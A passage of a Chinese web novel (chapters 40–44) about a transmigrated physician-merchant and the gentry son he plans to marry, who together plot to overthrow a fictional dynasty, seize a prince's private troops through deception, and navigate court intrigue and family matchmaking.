“……”尚南枝问的不清不楚,阿兄回她也不清不楚,这代表阿兄刻意隐瞒了什么,“阿兄,自进长安后,你便有什么打算,眼下还不能告诉我吗?” “事以密成,言以泄败,我要做的事暂时不能说。”尚柒当然知道告诉南枝,南枝也会守口如瓶,但他要做的事,对大历人来说有些超前了,何必给南枝增添负担。 “阿兄你这样说,我便不追问,但我还有一件事想问阿兄。” “问。” “乌桕这段时日一直说别公子会成为我们嫂夫郞,此事可是真的。” 尚柒沉默了片刻,点头。 “是真的,我正在想办法求娶此云。若一切顺利,或许下次回西南的时候,此云会与我们同行。” 结亲之事,尚柒也认为不必告诉别人,只要他和别此云清楚就行,总归别此云对外是以他夫郞的身份做事,真情假意也不影响什么。 尚南枝显然被尚柒说的大消息吓住了,原本她以为阿兄只是对别公子有意,但二人身份上有天壤之别,想要心想事成必然不容易,没成想阿兄竟然已经开始行动了。 听阿兄的意思,此事胸有成竹。 “乌桕知道吗?”尚南枝可是知道乌桕有多喜欢别公子。 “暂时还不知道,我想着再过一段时日通知你们,没成想你先问了。”也不怪尚柒没把这事告诉两个小的,主要对他来说只是帮个忙,似乎不至于昭告天下。 但他忘了,亲事要成,婚礼排场必然少不了,到时候两个小的总会知情。 “既然阿兄你有安排,亲事就等阿兄你亲自告诉乌桕,我整日早出晚归,连乌桕的面都见不着,便不多话了。”尚南枝狡黠的对阿兄笑了笑,也不继续打扰阿兄看书,就回自己院子了,明日可还得早起呢。 尚柒无奈,也没有心思看书了,明日别景季下了帖请他赴宴,多半是让他和别此云私下见面。 只希望一切顺利。 …… 翌日。 朝堂之上,广运帝和世家斗法以萧氏暂时退让结束,使得近些时候朝堂也格外风平浪静,纵然大部分官员晓得持续不了多久,却没一个想到是以这样的方式结束。 四皇子平王一党,在朝堂上揭穿五皇子庄王和外家蔺氏勾结边军,意图谋反,证据送到广运帝案头,广运帝当场气晕了过去。 太子出面稳住朝纲,先遣人按住了庄王和蔺氏,再下令去西南拿下西南将军。 广运帝醒来,得知太子下令,也没让人阻止,西南边军距离长安千里之遥,消息当然不怎么灵通,可到底手里有兵,能够兵不血刃的控制住西南将军,是最好的。 至于老五和蔺氏,必要严查。 这事广运帝交给了太子监督查办,他自个儿明面上隐身,实则暗地里安插人手,打算往各皇子封地走一趟。 他也是做过皇子的,一个老五敢私下勾结边军,其余皇子私下肯定也不干净,只是各地府兵数量有限,也不听大军调令,他的几个儿子想买通府兵难度较大。 唯有封地蓄养私兵最容易,太子暂不说,晋王、齐王、平王手里绝对不干净。 “朕还没死,朕的诸位皇子就已经迫不及待的想要朕坐下的龙椅了。”广运帝这些年吃喝玩乐看着并不苍老,若不是祖上各位都不长寿,广运帝自认为活到八十都不成问题。 但他真要活到八十还不退位,别的皇子先不说,太子肯定熬不住。 “陛下哪里的话,五皇子这事都蔺家在出头,说不得就是蔺家私下教坏了五皇子。”身边伺候的公公宽慰广运帝。 “齐王被萧氏惯坏了,老五被蔺家教坏了,如此看,朕的其他几位皇子,也跟外家联系紧密,说不定私下里也瞒着朕做了些见不得人的事。”广运帝恨外戚,但又不得不重用外戚。 这话公公就接不得了,只低头在广运帝身边候着,等广运帝发完脾气。 “速速着人去封地仔仔细细给朕查看,一旦发现他们做了什么不得了的事,不要打草惊蛇,只管先回长安禀报消息。”广运帝知道他这个年纪已经等不住年幼的皇子长大,眼下几个蠢货不能一股脑全弄死了,不然江山后继无人,他就是魏氏的罪人。 但他也要给这几个蠢货一个警告,要知道这天下还是他的天下,旁人僭越不得。 “是。” 朝堂之上的大事几乎没花多少时间就引爆长安,光是看禁军围了蔺氏就知道蔺家情况不妙了,原本跟蔺家相熟的人家也都紧闭门户,生怕沾染点麻烦。 “四皇子当了这个出头鸟,想来广运帝必然会重点关照四皇子。”尚柒坐在听风楼上,屋里只有他和别此云,这回见面是过了别景季夫妻明路。 “难道不是好事?应州的私兵营可建好了?”别此云显然不关心诸位皇子有什么下场。 “一旬前已经收拾出来,等你送的东西到私兵营,想来我们已经吃了四皇子的私兵了。”他与西南来信,知道此事蔺肃在办,以蔺肃的本事,他相信能够不留尾巴。 “那么你若中举,官职是要安排在应州?” “当然,头上有人好办事,若真要起事,应州进可攻退可守。” “怎么感觉你有些变了?”别此云好奇的看向尚柒。 “只是齐王一事让我想明白,大历已经烂透了,推翻旧王朝建立新王朝,也不过是历史滚滚车轮的一环,齐王的事依旧会不停上演。 我们若没决定做这件事,或许还能作壁上观,如今既然下定决心,为何不一次做好。” “你能这么想自然是好的,只是我们的时间不多,想要建立一套全心的体系,光靠咱们两人做不到。”别此云欣慰尚柒终于把这事放在心上,但眼瞧着尚柒不鸣则已一鸣惊人,还是给人打打预防针。 “总要试试。” “最简单的一个问题,世家你打算怎么办?是用是杀?” “据我所知,世家承载千年不灭,历史上唯一消灭世家的手段,是杀。”照着世家族谱杀,杀到天街踏尽公卿骨,世家自然就不是威胁了。 “你要学黄巢?”别此云不信尚柒有这个狠心。 “不,只是告诉你想一口气根除,物理手段最好,但我们做不到,也不能做。”尚柒不是学艺术的,也不是落榜生,做不到人屠的程度。 “若不能根除世家,死灰复燃不过迟早的事,新制度不稳,你我寿岁也不到百年,到时候人死政消,又将如何?”别此云这话还是建立在他们成功建立新制度上。 “难道你不想试试?”尚柒低头对上别此云的眼睛,他不信一个早有反叛之心的人,没想过一口气干碎所谓的封建制度。 别此云移开视线,想自然是想的,但仅凭他一人,尤其是这个身份,犹如痴人说梦。 “我们需要人才。” “需要理解新制度的人才。”尚柒附和。 “饼谁都会画,但大部分人都务实。”短时间内想要培养志同道合的人,太难了。 “那就让饼成真,若无外忧,只要广运帝不死,短时间内大历不会大乱,应州是我们选的试验地盘,若能在短时间内将应州改造成我们的理想之地,天下间不会少了有志之士前来投奔。” 别此云等尚柒话落,突然笑了,平日冷若冰霜的美人一笑,实在动人心魄,至少尚柒微愣了片刻才收回视线。 轻咳,“是觉得我异想天开吗?” “不,正好相反,你既然已经决定,我当然不能临阵脱逃,只能舍命陪君子了。”别此云不怕尚柒异想天开,就怕尚柒浑水摸鱼,现在人都已经把主意打好了,他哪有不跟上的道理。 “若没记错,谋反的事可是此云你提出来的。”要说舍命不该是他舍命吗? “但先前你我不还在争论赢了谁当皇帝么,可跟眼下的情况大相径庭。”建立旧制度的王朝和建立新制度的王朝难度不在一个水平线上。 原本已经是困难模式,这会尚柒一个念头,直接走上了噩梦模式。 “也别太乐观,说不一定你我连困难模式都打不过。”尚柒总是考虑到最坏的情况,如果不作弊,他们失败的概率可不低。 “如此,也算死得其所。” 听得别此云话语里将生死置之度外的潇洒,尚柒也难得燃起雄心壮志,随机目光移动到街市上,说不一定几年、十几年后,此地又是另一种风景。《 》 40-50 第41章 应州。 西南一带民风彪悍, 蔺肃连着清剿了几个山匪窝,才将私营周围清理干净。 “也不知应州的府兵是干什么吃的,山头上这么多土匪, 也不怕哪日养大了土匪的胃口, 一股脑打进城里去。”跟蔺肃来办事的汉子个个都是打架老手, 有不少还是从军队退役的, 清剿土匪这事干的很顺手。 “府兵多少年没出面剿过匪了,你还指望他们,不如指望咱们东家一口气平了西南的乱象。” “我这不是指望着,也不晓得东家什么时候从长安回来,光咱们这些人干这样大的事, 心里没底。” “我虽然比不上东家, 但一点底气都没给你们, 这几年看来是白干了。”蔺肃从屋里出来,他跟尚柒的时间不算长, 比起最先跟尚柒打拼的宋月隐几个,他算半道插队的。 但蔺肃自信他的本事不差, 只是运气差了些, 没早些遇上尚柒。 “蔺管事哪儿的话, 你的本事咱们也有目共睹, 这不是事太大, 怕到时候不好控制局面嘛。” 蔺肃到底是个文弱书生,这些年跟着东家, 也学过几手防身术,但在场的汉子也都晓得,东家对此评价,蔺管事真要遇上事, 还是跑比较好,可见蔺管事身手一般。 他们这地儿是要建军营的,练兵打军营退役的汉子不陌生,甚至还有当过百夫长的,可大部分人也都止步于此,统领军队的事,谁也干不来。 东家虽然也没带兵打过仗,但东家能文能武,操办起这么大一摊子生意,真要领兵也绝计难不倒。 “没什么不好控制。”蔺肃不跟这群莽汉计较,“东家打长安来信,平王暂时切断了和私兵营的联系,咱们要趁这个时候将私兵都劫出来。” “咳,蔺管事,你也知道就咱们这些人手,哪里能一口气劫几千兵马,正面对上一定没胜算,可有其他路子。” “我也不是傻子,平王的人暂时不能和私兵营联系,咱们只要冒充平王的人手,传假消息转移走这些私兵即可。”平王这头消息一断,可不给了他们机会。 “不能这么简单吧。” “快刀斩乱麻,就是这么简单,只要将私兵营的人转移到咱们的地盘,再把几个领头的将领都灭口,难道底下的人还能闹出什么水花吗?” “私兵营里的汉子不能个个都是傻的,换了领头的怎么会不闹事。” 蔺肃冷哼一声,平日也不见这群莽汉聪明,这会问题倒是多,“你猜私兵营有几个知道他们是为谁办事?” 军营待过汉子挠了挠头,底层的兵丁脑子想的都是什么时候吃饭,饭里有什么,哪管上头的人怎么想。 私兵谋反是大事,上面的大人物为了保密肯定也不能告诉底下的兵丁,蔺管事这办法说不定还真行的通。 “没问题就让盯着的私兵营的人回来,劫营宜早不宜迟,只要等平王那边断了联系,咱们就行动。” “是,蔺管事。” ———————————— “蔺家,齐王,庄王,西南,我怎么现在才想到其中有联系。”谢琅在书房,将最近的长安发生的大事写在纸上,只看蔺家就能将齐王和庄王联系在一起。 他就说齐王无缘无故为何要挑拨蔺家为首的少年当街纵马,现在看齐王只怕早收到庄王在西南筹谋的消息,先埋坑,等着一举将蔺家扳倒。 而尚柒,不像是在这场关系网里,甚至尚柒报复齐王的原因还是齐王自作自受,但谢琅直觉尚柒并不无辜。 因为尚柒来自西南,若说是巧合,那也未免太巧了些,五皇子庄王能够隐藏蔺家和边军勾结这么久,定然有些手段,突然事发必定是有人揭穿。 “你在其中究竟扮演什么角色,有钱是否也参与其中,而我这步棋,又起了多大的作用?”谢琅眉心高皱,他和有钱合作这么长时间,早就知道有钱做事风格。 拿他当棋子也不是头一回,要说是否介意,那肯定还是介意的,但谢琅出身谢家,早就知道长安本就是个棋盘,有时候连皇帝都是棋盘上的棋子,他一个世家少爷自然比不过皇帝去。 “爷,柳家的人来访,夫人叫我寻你去前厅招待。”门口的小厮敲门。 “柳家?长安的柳家,还是蒲州柳氏?”几大世家一向是有姻亲往来,往上数数都能攀亲带故,但长安柳家不过旁系,登门都不用他娘出面招待,一向没什么往来。 “自然是蒲州柳氏,来的是柳家少爷和柳家主母。” “柳确?我兄长他们都不在?”谢琅都行十三了,头上兄长两只手都数不过来,往日招待客人的事都轮不到他。 “不在,近来刑部和大理寺都忙,几位少爷夜里都回来的晚。”谢家人在朝廷为官者甚多,刑部和大理寺也有不少人,谢琅有几位兄长就在其中做事。 “我换身衣服就过去。” 说着谢琅将桌上的白纸揉皱扔进早就准备好的火盆,等炭火将信纸都烧成灰烬,才放心离开。 到了前厅,谢琅得见这位传说中的柳确,人的确生的好,但看面相不是热络的人,都是世家嫡系的少爷,没谁愿意热脸贴着冷屁股,自然谢琅也不过是做做表面功夫,尽尽地主之谊。 按说谢柳两家关系是不错的,他这一代的人里,嫁娶也有几个,只是一个在蒲州一个在长安,平日里联系的不算多。 据他所知,这位柳家主母来了长安后,只参加了一场内宅娘子郎君的宴会,是孙家操办的,但宴上听闻出了事,柳家主母的侄儿被人推进水里差点溺死,之后柳家主母行事就颇为低调,一直闭门不出,这会突然登了谢家的门,一定有事相求。 莫不是也为柳确求姻缘?要说想要结亲,谢家自然没有拒之门外的道理,但先去参加宴会后来谢家,真要求亲肯定也有隐情。 不过此事不该谢琅操心,能够掌控世家的娘子郎君,个个都精明的厉害,他娘更是长安城里拔尖的人,柳家不管打什么算盘,都打不到谢家头上。 比起眼前的柳确,他更关心的是尚柒。 “说起来,柳兄入长安是打算参加今年的科举,我也有个认识的朋友要下场,若是柳兄得空,什么时候介绍二位认识?”谢琅心眼一转,突然冒出这么个主意。 “看谢兄安排。”柳确实在没什么烟火气,说话虽然不曾失礼,但没什么让人交谈下去的欲望,若不是个性使然,恐怕就是柳确也不想和谢琅有交集。 谢琅认识的人里,只有有钱是这副德行,也不知有钱和柳确遇上会是什么场面。 “要我安排自然是越快越好,我听闻柳兄入长安后也不曾出门交际,想必跟我这位朋友谈得来,他这人也不喜出门交际。” “既谢兄的朋友不喜交际,谢兄又何必让我们凑一堆?”柳确的目光落在谢琅身上,瞧着并不摄人,但也颇有打量的意思。 “朋友和朋友能成为好友,难道不值得引荐吗?”谢琅交友不少,大部分都是狐朋狗友,真心交往的朋友不算多。 尚柒按说还算不上谢琅的朋友,但尚柒和有钱关系紧密,他认了有钱这个朋友,爱屋及乌,尚柒也能算半个,之后他与尚柒几次见面,也觉着这人颇有意思,另外半个也渐渐要补上了。 至于柳确,那必算不上谢琅的朋友,奈何他喜欢看热闹,柳确认识了尚柒,早晚也能认识有钱,热闹不就来了么。 柳确微微皱了眉头,没在接话,可见和谢琅是谈不来的。 不过他娘一刻没从谢府离开,他就得一直和谢琅在一处,无缘无故必不能交恶,只能敷衍应承。 世家子弟忙着交际,尚柒却忙里偷闲,连着几日都带别此云在长安走动,就说一直没去成的曲江池和乐游原,也都同人一一见识了。 “长安繁华是繁华,但待的久了,新鲜劲也很容易过去。”尚柒跟别此云走在街上,上午日头还不大,在河边散步有垂柳遮荫,还算惬意。 “那你是见过更好的风景。”长安作为这个时代的盛景,的确引人注目,但他们眼中领略过不同时代的雄伟奇观,除开初入长安时的新奇,待久了总会觉得无趣。 “说的也是,近来日日同我出门,便是有你兄长嫂子打掩护,你娘当真不知情吗?”尚柒还是有些怕苏怡然的,甭管他和别此云的是真情还是假意,总归是要登门求娶的,得罪了丈母娘,只怕没好果子吃。 “她近日有事要忙。”别此云帷帽下翘了翘嘴角,语气中也带有几分笑意。 “何事?” “还记得前不久乌桕参加的宴会吗?” “嗯?记得。” “原本这场宴会是孙家牵线搭桥,想要成就别家和柳家的好事,奈何柳家主母叶夫人没看上我,虽不曾闹的太难看,却也得罪了我娘。 偏巧我又救了叶夫人的侄儿,叶夫人对别家和柳家的亲事又上了心,我娘疲于应付,暂时看顾不上我。” “怎么?你娘对柳家还没死心?” “怎么会,是柳家那边不死心。”叶夫人做派虽不至于说前倨后恭,但撂了他的面子,他娘怎么可能答应。 “也是巧了,听闻这位柳少爷今年下场,科举亲事都要和我争一争了。” 第42章 “亲事不提, 科举胜负大抵已定。”别此云非是贬低尚柒,但长安城里稍微有点脑子的,都清楚这次柳确下场, 若无萧谢这等世家的嫡系子出面, 状元多半内定给柳确了。 “也说不一定。” “怎么说?” “世家不是才得罪了广运帝, 眼看着庄王的事被翻出来, 出征突厥无望,按照广运帝的气量,迟早是要报复回来,而科举让寒门独占鳌头,不是最好报复世家的手段?”尚柒分析的有理有据, 说到底, 大历的科举还不成体系, 多看上位者心情决断。 别此云闻言轻咳一声:“我们正在街上,就是金玉满堂和听风楼都要小心隔墙有耳, 这会子叫人听见你对陛下大不敬,我可不捞不动你。” “习武之后, 虽然不至于耳听八方眼观六路, 但注意周围是否有人偷听还是没问题。”尚柒一向是苟惯了的人, 哪里会在这等小细节上失手, “你瞧, 咱们身后三丈远的地方,一直有人跟着。” 三丈都有十米了, 这比耳听八方眼观六路差哪儿了? “是什么人?”别此云没有转头,怕打草惊蛇。 他和尚柒出门,身边只带了琴砚,而琴砚一向知情识趣, 只远远的坠了几步跟着。 “是一位穿着华贵的哥儿,身边还跟了两个侍人。”至于相貌什么的,因为距离太远没看清。 “莫不是你惹来的桃花?”别此云故作轻松的打趣。 “近来的确有不少娘子郎君上门看诊,但都已经成亲,我瞧后面跟着哥儿尚未嫁人,如何能算在我头上?”尚柒辩解,天见可怜,他到长安后,结识未成亲的哥儿只有别此云一个。 “说不得就是这些娘子郎君回家后,提了尚东家相貌出众,医术高明,惹得未出阁的公子贵女春心萌动,做起了尾随的勾当。” “怎么感觉你话里有话?”尚柒确定别此云话里有点阴阳怪气的成分。 “我称赞尚东家才貌双绝,哪里话里有话。”别此云说的无辜,好似尚柒当真误会了他。 尚柒被逗笑了,难得见别此云又恢复初见时的张牙舞爪,还颇有些怀念。 “我觉的人多半不是尾随我,别公子可别想这么快撇清关系。”论在长安遇上熟人,别此云比他只多不少。 “我在长安没有交好的哥儿。”他连家里的兄弟姐妹关系都寻常,又怎么会跟外人有交情,唯一的朋友谢琅还是因为生意不得不结交。 让别此云主动上门的,只有尚柒一人。 “说不得是情敌?”不是朋友就是对头。 “不曾有人向我示过好,哪里——”说到此处,别此云一顿,别说,还真有一人当他是情敌。 “怎么?别公子想到了是哪位了。”尚柒露出扳回一城的笑意,按他和别此云的性子都不是招蜂引蝶的人,但别公子容貌这般好,长安城里的少爷们只要不是眼瞎,总会有倾心的,遇上情敌又不是什么罕见事。 “宴会落水的那位。” 说起来,宴会结束,叶夫人还和他娘时时来往,叶栖的确销声匿迹,再不见出门。 若跟在他身后的是叶栖,目的是什么? 莫不是还以为他要和柳确结秦晋之好,耽误了他们两位的好事。 “要甩开吗?” “由他跟着吧,我看他也没有要出面的意思。” “不怕他告密?” “顶多给他姑姑说,正好绝了叶夫人的心思。”世家夫人哪怕知道他与外男出游,顶多私底下刺他娘两句,必不会摊开说。 尚柒不知别此云又在打什么坏主意,不过人都这么说了,他只管继续作陪就是。 两人大摇大摆的继续在曲江池闲游,时不时还靠近说笑,外人不知情的,只当是一对新婚夫夫出门游玩。 “公子,咱们一直跟着也不是个事。”伺候叶栖的侍人忐忑的看着远处的两道影子,因为怕发现他们也不敢靠太近。 叶栖不语,只一言不发的跟着别此云行动,要说别此云出门和外男幽会,也做足了功夫,若不是后面跟着的哥儿眼熟,叶栖绝计不会认出跟人说笑的哥儿是那日宴上冷冰冰不理人的小郎君。 “公子?” “谁说我是跟着他们,曲江池这么大,难道只许他们出门闲逛,不许我走动不成。”姑姑和表哥今日去了谢家,他闲来无事便出门走走,哪想遇上了别此云。 之前宴会上,他对别此云态度不好,后头人不计前嫌救了他,再给人脸色看,未免过于不知恩图报。 “我瞧着明明别此云也有喜欢的人,为何他娘还要和柳家结亲?” “许是苏夫人没看上那位儿郎。”世家结亲,哪能看公子喜欢谁就嫁谁,也是在大历,世家渐渐放宽联姻的条件,许多世家都能和寒门结亲。 真要换成前几朝,世家都是看不上寒门的,甚至和寒门结亲还会有损世家门楣。 “若是真心喜欢,只要那人不是草包,别家还怕培养不出一个合格的儿婿吗?”世家里有本事的子弟不少,没本事只知道吃喝玩乐的纨绔更多,只看门第嫁儿女,能有几个得良缘。 伺候的两个侍人不敢接话,毕竟这是别府私事,万一苏夫人想着自家哥儿高嫁攀一攀大世家的门楣,哪能由他们置喙。 “公子,人影要不见了。” “不跟了,回府。” 黄昏。 别此云坐马车回府,在梧桐苑门口遇上了等着的别景季。 “阿兄可是寻我有要事?”不然怎么好端端的怎么来他院子口等着。 “也没什么要紧事,只是近来朝中忙碌,想着过来瞧一瞧你。”别景季一边说着,一边仔细瞧小弟的面色,这才几日过去,小弟脸上就不见之前的憔悴,反而满面红光。 “阿兄现在瞧见了。”自从和尚柒出门,他就不擦粉了,不过和尚柒出游他自己的状态的确也好了不少。 “瞧着精神不错,这几日和尚大夫都去哪里游玩了?” “尚大夫来了长安,只去过西市,连东市都没去过,我便带人去曲江池和乐游原走了走。”虽然这几个地方他也没去过几回。 “那尚大夫对你” 别景季话没说完,只是隐晦的询问。 “阿兄是问尚大夫对我可有心思?”别此云说的大方,反而把别景季吓的四处张望一番,瞧着没人才放下心,“这话你万不该随意说出口,叫人听了去怎么办?” “梧桐苑是我的院子,不会有人告密。”若是连自己院子都打理不好,他怎么瞒着别家在长安发展自己的事业。 “那也不许胡说,隔墙有耳的道理你自幼就知道。” “阿兄说的对,下次我小心。” “看来我也不该问你,这样好心情肯定尚大夫也对你有意。”别景季也都是过来人,哪里看不出两情相悦的人是什么模样,“你给他提过要他科举之事吗?” “哪里有这样快提的,再者他若真心想娶我,不该自己抓紧想办法吗?”别此云偏过头,面颊微红,像是不好意思。 “你们一头热,有时候考虑不周也是有的,就算此事你不主动提,也该暗示暗示他,不然他没想到怎么办?” “阿兄说的也有道理,明日我会寻机会暗示的。” “明日还要出去?”别景季是知道干柴烈火烧起来,一盆水浇不灭,可连着出去几日,若不是娘忙着应付柳家,早发现了。 “不然在家我也没事做。” “明日出门后你也消停几日,最近长安不太平,虽然和咱们家关系不大,但还是要小心谨慎。”庄王一事,太子督办,别家自然也是要从旁协助的。 这事过大,主要他爹出面,他在后面打打下手。 “我知道了。”别此云说着停顿一下,又道,“阿兄你还是劝劝娘,让她早日放我回道观。” “你去道观,尚大夫也要跟着去吗?”别景季不信任的眼神的落在别此云身上,就怕小弟恋爱上头,直接做些出阁的事。 “阿兄想哪里去了,既然阿兄已经给我和尚柒铺好路,我又何必做出生米煮成熟饭这等丢人的事。”尚柒去肯定是会去的,但他们二人的关系还不至于说真能做出些出格事。 “你最好这样想,道观的事暂时不成,等过段时日我和爹手里的事了,我再同娘说说。”到底还是心疼这个弟弟,在家待着的确不如道观自在,只要此云知道轻重,便是和尚柒在道观见面,也不妨什么。 “多谢阿兄。”有兄长这句话,道观他迟早能回去。 “谢我做什么,对了你二堂兄不日要归长安,他这人是个典型的武夫,你和尚大夫的事瞒着点。” “我会的。”别此云送走别景季,慢慢踱步回院子。 别家是清流世家,家里男子基本少有姬妾,为此子嗣都不算丰厚。 别老太爷一共四个孩子,除开嫁人的老三,其余三个都已经成亲生子,膝下也都只养了两个孩子。 为此,别此云的兄长除开别景季,就剩二叔父家的老大别景和,而二叔父家不走文官路子,二堂兄也参军暂去了外地,不想这时候竟然被派遣回来。 也不知与庄王的事是否有关。 第43章 午时, 照往常看外头天色该艳阳高照,偏窗外却下起了暴雨,雨水噼里啪啦的打在瓦片上, 听着颇有几分催眠。 因为这场雨, 原本打算过来尚府看诊的娘子郎君都未如期而至, 叫尚柒难得腾出功夫, 检查了尚乌桕的功课。 尚南枝也没能出府,左右织坊的人手已经安排妥当,忙活快两月的小姑娘也想偷一偷懒。 正午,一家人难得聚在一起吃午饭,府里厨娘的手艺已经越来越好, 按尚乌桕的话来说, 都要赶上家里胡娘子的手艺, 单拎出去开个店生意肯定不比金玉满堂差。 “打入长安后,还是头一次见这样大的雨。”尚乌桕撑着腮看向窗外, 大雨将空气中的热气都冲刷走了,不过等雨停, 空气难免闷热。 “长安少雨, 一年到头也不见下几回。”尚南枝跟长安本地的娘子郎君聊的来, 晓得不少长安事。 “这样也好, 雨下的多了, 出门都不方便。”西南雨水也不丰,但他们从西南到长安的时候, 路过雅州,听闻此地有雨城的别号,还当是夸张之言,却不想他们在雅州境内的几日, 一日都没遇见过太阳。 得亏雅州下的不是瓢泼大雨,不耽误赶路,但那几日尚乌桕都不想下马车,实在是路上泥泞,靴子一落地就是一脚泥。 “你整日也没几个时候出门,下不下雨有什么打紧。”尚南枝可是知道,自打天越发热起来之后,巷子里的娃娃们都被大人拘在家里,就怕玩闹的时候中了暑。 “当然要紧,万一我要出门,遇上下雨岂不是要踩一脚泥的。”长安城又不是全铺的砖石,朱雀大道一整条路都是三合土路,遇上下雨也难免泥泞。 “看来是礼县把你惯坏了,整个大历,除了礼县哪里不是一下雨就要踩一脚泥。”出礼县的时候,尚南枝还听帮阿兄做事的哥哥姐姐说,礼县的好路要多修几条,尤其到隔壁几个县。 这会儿照她看,最好全天下都修礼县那样的好路,这样她出门做生意也方便。 “礼县的路不就是阿兄觉得下雨会踩一脚泥才修的么?哪里是把我惯坏了。” “纠正一下,我是为了货物能够从山里运出去。”尚柒听得两个小的聚在一起打嘴炮,本也不打算参与,偏偏还扯上他了。 “难道阿兄没有不想走泥泞路的意思?”尚乌桕眼里充满怀疑的打量。 “……”自然也是有的,自打乡下老家都铺上水泥路过后,他再没走过土路,都要忘记土路是什么模样了,结果就给他整回了原始时代。 官道都还赶不上石子路,一下雨要从村子走到县里,更是步履维艰,过惯好日子的尚柒能忍住走好几年这样的路,都是他脾气好了。 “看吧,阿兄也嫌弃泥路难行。”尚乌桕跟个打了胜仗的斗鸡一样挺起胸膛,惹得尚南枝翻了个白眼。 “阿兄,我瞧这次送来的药材你都没动,是不打算售卖吗?”尚南枝转头说起生意上的事,上一次送到长安的药材,阿兄为了扬名囤积了半个月才陆陆续续卖完,这次有上次名声打底,只要放出风声,必定少不得人上门求购。 别的不提,和阿兄合作的谢琅谢少爷肯定会感兴趣,还有别公子,上次阿兄竟然翻了底价卖给别公子。 这次阿兄要是再干这样的事,别说求娶别哥哥了,单是能让别哥哥继续和他做生意,尚南枝都觉得是阿兄厉害。 “部分药材我打算送人,余下的药材也懒得散卖,直接送到你们别哥哥手里,让他帮我卖了就是。”尚柒没打算在长安做长久的药材生意,打西南运药材过来,不过是给他手里攒一点流动资金。 “阿兄这次别再高价卖了。”尚乌桕显然也知道了上次卖药材的事,就怕阿兄为了钱不折手段。 “如今我和别公子已经是朋友,怎么会坑他?” “这可说不准,做生意不就是坑熟人钱最赚。”尚南枝跟尚乌桕一唱一和,配合的天衣无缝。 “我什么时候坑过熟人?”他做生意一向老实本分。 “西南的豪强跟阿兄你的关系难道不算熟?你卖东西给人家总是要加几倍价。” 宰大户和坑熟人能是一样的么?西南豪强手里的钱怎么来的尚柒最清楚不过,他宰的多了,还能用于民生建设,留在西南豪强手里,都是吃喝嫖赌去了。 “我和你别哥哥关系不匪,西南豪强难得也和我关系不匪?” “西南豪强哪里能比的上别哥哥,总之阿兄你有分寸就好。” “……”尚柒再次被堵了话头,他什么时候也要小孩劝告他要有分寸了。 冯风就是这时候过来的,身上还湿漉漉的,想来是在雨里走了一遭。 “东家,西南那边传来急信。” 尚柒闻言接过冯风从怀里保护的信,拆了火漆,果不其然是蔺肃说私兵的事。 平王狡兔三窟,私兵营据点不止一处,蔺肃一行人按照他给的粗略计划,定了详细计划后,就趁着平王切断和私兵营的联系空档,轻而易举的偷梁换柱,一摇成了私兵营的新头领。 这事要的就是快刀斩乱麻,等平王那边反应过来,早已人去营空,想来等平王苟过了广运帝的搜查,再遣人去私兵营地时,脸色应该很不错。 “事情办妥了,你们在长安的事也加快些速度。”兵有了,将可还没入锅。 “东家放心,事情一切顺利。” 冯风来去如风,留的尚柒取来火折子点燃烛台上的蜡烛,将来信点燃烧毁。 两个小的知情识趣没多问,又叽叽咕咕的聊起了别的,而尚柒等信纸成了灰烬,方才慢步走到窗台,看长安大雨能下到几时。 …… 别府。 别景和一身军营打扮入府,先回了院子洗漱打理,一路从江南赶回来,胡子都没来得及刮,不好见长辈。 别家自发家后历代从文,只到了别景季这一辈,出了个弃文从武的别景和。 洗漱后,屋外的雨不见小,不过走连廊少有能淋到雨的时候,别景和身体也一向好,真在雨里淋一两个时辰,也不会轻易得风寒。 今日别家人整齐的聚在老太爷院子里,想来也是收到消息,至于说别景和一个晚辈,能让这么多长辈跟着等,多半还是为了别景和带回来的消息。 庄王的事闹的沸沸扬扬,几个皇子也瞧见广运帝脾气不好,个个夹起尾巴做人,上面的人都如此,下面的人自然不敢放肆。 纵然长安百姓可能没察觉其中的风起云涌,正经着手办这事的别家,可知道庄王的事牵扯有多深。 明面上,只是蔺家嫡系子弟在外地任职养了外室生了私生子,连族谱都没上,却嫁给了镇守边军的将军做夫人,暗地里这样行事的人也不见少,说不得其他几个驻军营地也有,有了庄王的前车之鉴,估计其余诸营都要来一场大清洗。 别景和好端端在江南做事,突然被召回必然与此事有干,只是具体为了什么别此云不能亲耳听二堂兄说。 因为别家谈论正事都在书房,别此云这等内眷是没资格进去的。 “老大媳妇,听闻你最近在操心此云的亲事,可有了眉目。”别老太君五十有六,名下已经见重孙辈,正是享天伦之乐的好时候,自然对孙辈的亲事很看重。 “暂时还没有。”苏怡然不提柳家,也不想把烦心事告诉老太君。 “也抓抓紧,长安城里能算的上好儿郎的本也没多少。”别老太君说着又转到老二夫郞跟前,“长舒,你也是,景和已经及冠,这会回了长安,亲事也该要多上上心。” “娘,你知道的,景和一向有主意,我看上的公子贵女他不一定能看上。”孟长舒是管不了自己儿子的,他就两个孩子,女儿比儿子还小三岁呢,去岁已经嫁人了。 “亲事一向都是父母之命媒妁之言,如何能叫他随意了去,长安城里这样多公子贵女,难不成一个合他心意的都没有。 别家看重人品,门第放低些也没什么,如今别家也不需要其他世家助力,和其他大世家联姻,反倒容易出事。” 苏怡然眉心一低,清楚这是话里有话,想来她看上柳家柳确一事惹了老太君不满。 “娘说的是,我会抓紧催催景和。”孟长舒不掌家,人也没那么锋利,老太君发话,自然没有不应的道理,至于私下怎么做又是另外一回事了。 别此云作为小辈,长辈不问一向是都不出声的,等到书房事了,家宴才算开始。 回到梧桐苑天色已经暗了下来,琴砚拿了外院送的信件,递给别此云。 “尚东家下午遣人送过来的。” 别此云依言打开,信上的文字天底下只有他和尚柒能看懂,也不必忌讳外人,只匆匆看过一遍,别此云就难掩喜色。 “明日我去外宅一趟。”私兵都已经养了,粮草需要尽快再送过去一批,五千人马一日嚼用很可怕,好在他有青麦酒做支撑,养五千人绰绰有余。 “二少爷明日可能会过来。”琴砚提醒别此云。 “二堂兄大抵明日上午过来。”不耽误下午出行。 第44章 翌日。 别景和一早在练武场训练过, 就来了梧桐苑。 “难得我归家你不在道观,听闻伯娘在替你物色夫婿?”别景和不似别景季,幼时性子跳脱, 进了军营瞧着磨平了不少棱角, 但这张嘴依旧哪壶不开提哪壶。 “昨日重慈也过问了你的亲事。”别此云与他这个二堂兄关系还不错, 幼年因为体弱常不能出门, 二堂兄出门野的时候时常给他带些好吃好玩的东西解闷。 “家里人一向管不住我,我暂时没有娶亲的打算,不过你放心,伯娘真要是替你选好了夫婿,我定会亲自把关。” “……你不想娶, 我就要想嫁?”别此云气的牙痒痒。 “所以说了我替你把关, 你要是不满意, 我肯定揍的他不敢来提亲。”别景和一点也不觉得自己这话混账,左右长安城没挨过他揍的纨绔子弟屈指可数。 